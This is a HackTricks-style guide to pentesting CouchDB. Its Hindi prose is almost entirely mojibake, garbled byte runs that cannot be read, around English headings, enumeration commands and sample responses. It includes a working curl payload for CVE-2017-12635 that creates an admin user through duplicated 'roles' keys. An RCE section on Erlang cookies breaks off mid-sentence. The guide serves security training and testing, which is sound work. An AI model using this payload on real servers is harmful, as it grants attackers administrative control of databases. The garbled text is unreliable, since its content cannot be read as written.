30 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА
CouchDB рдПрдХ рдмрд╣реБрдкрд░рдХрд╛рд░реА рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝-рдЙрдиреНрдореБрдЦ рдбреЗрдЯрд╛рдмреЗрд╕ рд╣реИ рдЬреЛ рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдХреА-рдорд╛рди рдорд╛рдирдЪрд┐рддреНрд░ рд╕рдВрд░рдЪрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рднреАрддрд░ рдлрд╝реАрд▓реНрдб рдХреЛ рдХреА/рдорд╛рди рдЬреЛрдбрд╝реЗ, рд╕реВрдЪрд┐рдпреЛрдВ, рдпрд╛ рдорд╛рдирдЪрд┐рддреНрд░реЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдФрд░ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдореЗрдВ рд▓рдЪреАрд▓рд╛рдкрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред
CouchDB рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реНрддрд░ рдкрд░ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ (_id
) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдХрд┐рдП рдЧрдП рдФрд░ рд╕рд╣реЗрдЬреЗ рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд╢реЛрдзрди рдХреЛ рдПрдХ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ (_rev
) рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЦреНрдпрд╛ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдХреБрд╢рд▓ рдЯреНрд░реИрдХрд┐рдВрдЧ рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдХреА рдЖрд╕рд╛рди рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдФрд░ рд╕рдордиреНрд╡рдп рдХреА рд╕реБрд╡рд┐рдзрд╛ рд╣реЛрддреА рд╣реИред
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЧрдгрдирд╛
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
рдореИрдиреБрдЕрд▓ рдПрдиреНрдпреВрдорд░реЗрд╢рди
рдмреИрдирд░
curl http://IP:5984/
рдпрд╣ рд╕реНрдерд╛рдкрд┐рдд CouchDB рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ GET рдЕрдиреБрд░реЛрдз рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред рдЙрддреНрддрд░ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк couchdb рдХреА рд░реВрдЯ рддрдХ рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЛ 401 Unauthorized
рдорд┐рд▓рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐: {"error":"unauthorized","reason":"Authentication required."}
рдЖрдк рдмреИрдирд░ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗред
{% endhint %}
Info Enumeration
рдпреЗ рд╡реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк GET рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк couchdb рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдзрд┐рдХ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
/_active_tasks
рдЪрд▓ рд░рд╣реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреА, рдЬрд┐рд╕рдореЗрдВ рдХрд╛рд░реНрдп рдХрд╛ рдкреНрд░рдХрд╛рд░, рдирд╛рдо, рд╕реНрдерд┐рддрд┐ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ ID рд╢рд╛рдорд┐рд▓ рд╣реИред/_all_dbs
CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред/_cluster_setup
рдиреЛрдб рдпрд╛ рдХреНрд▓рд╕реНрдЯрд░ рдХреА рд╕реНрдерд┐рддрд┐ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯрдЕрдк рд╡рд┐рдЬрд╝рд╛рд░реНрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░ред/_db_updates
CouchDB рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╕рднреА рдбреЗрдЯрд╛рдмреЗрд╕ рдШрдЯрдирд╛рдУрдВ рдХреА рд╕реВрдЪреА рд▓реМрдЯрд╛рддрд╛ рд╣реИред рдЗрд╕ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП_global_changes
рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рдЕрд╕реНрддрд┐рддреНрд╡ рдЖрд╡рд╢реНрдпрдХ рд╣реИред/_membership
рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рдХреЛcluster_nodes
рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдлрд╝реАрд▓реНрдбall_nodes
рдЙрди рд╕рднреА рдиреЛрдбреНрд╕ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рдиреЛрдб рдХреЛ рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВред/_scheduler/jobs
рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдп рд╡рд┐рд╡рд░рдг рдореЗрдВ рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп рдЬрд╛рдирдХрд╛рд░реА, рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ ID, рд╣рд╛рд▓ рдХреА рдШрдЯрдирд╛рдУрдВ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕, рдФрд░ рдХреБрдЫ рдЕрдиреНрдп рдЪреАрдЬреЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВрдЧреАред/_scheduler/docs
рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд░рд╛рдЬреНрдпреЛрдВ рдХреА рд╕реВрдЪреАред рд╕рднреА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐completed
рдФрд░failed
рд░рд╛рдЬреНрдпреЛрдВ рдореЗрдВ рднреАред рдкреНрд░рддреНрдпреЗрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЗ рд▓рд┐рдП рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ ID, рдбреЗрдЯрд╛рдмреЗрд╕, рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ ID, рд╕реНрд░реЛрдд рдФрд░ рд▓рдХреНрд╖реНрдп, рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рд▓реМрдЯрд╛рддрд╛ рд╣реИред/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕ рд╕рд░реНрд╡рд░ рдХреЗ Erlang рдиреЛрдб рдирд╛рдо рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣/_node/_local
рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдкрд░ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИред/_node/{node-name}/_stats
_stats
рд╕рдВрд╕рд╛рдзрди рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИред рд╢рд╛рдмреНрджрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ_local
рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рднреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА URL рдХреЗ рд▓рд┐рдП,{node-name}
рдХреЛ_local
рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддрд╛рдХрд┐ рд╕реНрдерд╛рдиреАрдп рдиреЛрдб рдХреА рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреА рдЬрд╛ рд╕рдХреЗред/_node/{node-name}/_system
_systemresource рдПрдХ JSON рдСрдмреНрдЬреЗрдХреНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рд┐рд╕реНрдЯрдо-рд╕реНрддрд░реАрдп рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рд╣реЛрддреА рд╣реИ_._ рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП {node-name} рдХреЗ рд░реВрдк рдореЗрдВ ___local
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред/_node/{node-name}/_restart
/_up
рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЪрд╛рд▓реВ рд╣реИ, рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИред рдпрджрд┐maintenance_mode
true
рдпрд╛nolb
рд╣реИ, рддреЛ рдПрдВрдбрдкреЙрдЗрдВрдЯ 404 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рдПрдЧрд╛ред/_uuids
CouchDB рдЙрджрд╛рд╣рд░рдг рд╕реЗ рдПрдХ рдпрд╛ рдЕрдзрд┐рдХ рдпреВрдирд┐рд╡рд░реНрд╕рд▓реА рдпреВрдирд┐рдХ рдЖрдЗрдбреЗрдВрдЯрд┐рдлрд╛рдпрд░ (UUIDs) рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред/_reshard
рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдкреБрдирдГрд╢рд╛рд░реНрджрди рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рд╕рд╛рде рдкреВрд░реНрдг, рд╡рд┐рдлрд▓, рдЪрд▓ рд░рд╣реЗ, рд░реБрдХреЗ рд╣реБрдП, рдФрд░ рдХреБрд▓ рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд▓реМрдЯрд╛рддрд╛ рд╣реИред
рдпрд╣рд╛рдБ рд╕рдордЭрд╛рдП рдЧрдП рдЕрдиреБрд╕рд╛рд░ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓реА рдЬрд╛ рд╕рдХрддреА рд╣реИ: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
рдпрджрд┐ рд╡рд╣ рдЕрдиреБрд░реЛрдз 401 рдЕрдирдзрд┐рдХреГрдд рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:
curl -X GET http://user:password@IP:5984/_all_dbs
Valid Credentials рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╕реЗрд╡рд╛ рдХреЛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд░реЗрдВ.
рдпрд╣ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдПрдХ couchdb рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрд╣ рдХреЗрд╡рд▓ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдПрдХ рд╕реВрдЪреА рд╣реИ):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
рдЖрдк рдХреБрдЫ рдбреЗрдЯрд╛рдмреЗрд╕ рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдФрд░ рдЖрдХрд╛рд░) рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╛рдо рддрдХ рдкрд╣реБрдБрдЪрдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реВрдЪреА
рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВ
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрдврд╝реЗрдВ
рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рдЕрдВрджрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреА рд╕рд╛рдордЧреНрд░реА рдкрдврд╝реЗрдВ:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Erlang рдФрд░ JavaScript JSON рдкрд╛рд░реНрд╕рд░реНрд╕ рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреЗ рдХрд╛рд░рдг рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ hacktricks:hacktricks
рд╣реИрдВ:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
CouchDB RCE
Erlang рдХреБрдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЕрд╡рд▓реЛрдХрди
рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рд╕реЗ.
CouchDB рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреНрд▓рд╕реНрдЯрд░ рд╕реЗрдЯ-рдЕрдк рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдиреБрднрд╛рдЧ рдореЗрдВ (рд▓рд┐рдВрдХ), рдХреНрд▓рд╕реНрдЯрд░ рдореЛрдб рдореЗрдВ CouchDB рджреНрд╡рд╛рд░рд╛ рдкреЛрд░реНрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рд╣реИред рдЗрд╕рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐, рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдореЛрдб рдХреА рддрд░рд╣, рдкреЛрд░реНрдЯ 5984
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреЛрд░реНрдЯ 5986
рдиреЛрдб-рд╕реНрдерд╛рдиреАрдп APIs рдХреЗ рд▓рд┐рдП рд╣реИ, рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, Erlang рдХреЛ Erlang рдкреЛрд░реНрдЯ рдореИрдкрд░ рдбреЗрдорди (EPMD) рдХреЗ рд▓рд┐рдП TCP рдкреЛрд░реНрдЯ 4369
рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ Erlang рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рднреАрддрд░ рдиреЛрдб рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рдПрдХ рдиреЗрдЯрд╡рд░реНрдХ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдкреНрд░рддреНрдпреЗрдХ рдиреЛрдб рд╣рд░ рдЕрдиреНрдп рдиреЛрдб рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░рд▓рд┐рдВрдХ рд╣реЛрддрд╛ рд╣реИред
рдкреЛрд░реНрдЯ 4369
рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрджрд┐ рдЗрд╕ рдкреЛрд░реНрдЯ рдХреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдпрд╛ рдХрд┐рд╕реА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╕реБрд▓рдн рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдкрд░ рднрд╛рд░реА рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ "рдХреБрдХреА" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреБрдХреА рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рджрд┐рдП рдЧрдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реВрдЪреА рдореЗрдВ, "monster" рдирд╛рдордХ рдХреБрдХреА рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдврд╛рдВрдЪреЗ рдореЗрдВ рдЗрд╕рдХреА рд╕рдВрдЪрд╛рд▓рди рднреВрдорд┐рдХрд╛ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреА рд╣реИред
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рдпрд╣ рд╕рдордЭрдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ "рдХреБрдХреА" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ Remote Code Execution (RCE) рдХреЗ рд▓рд┐рдП Erlang рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдЖрдЧреЗ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд░реНрдкрд┐рдд рдЕрдиреБрднрд╛рдЧ рдЙрдкрд▓рдмреНрдз рд╣реИред рдпрд╣ рдЕрдирдзрд┐рдХреГрдд рддрд░реАрдХреЛрдВ рд╕реЗ Erlang рдХреБрдХреАрдЬрд╝ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреА рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдкрд░ 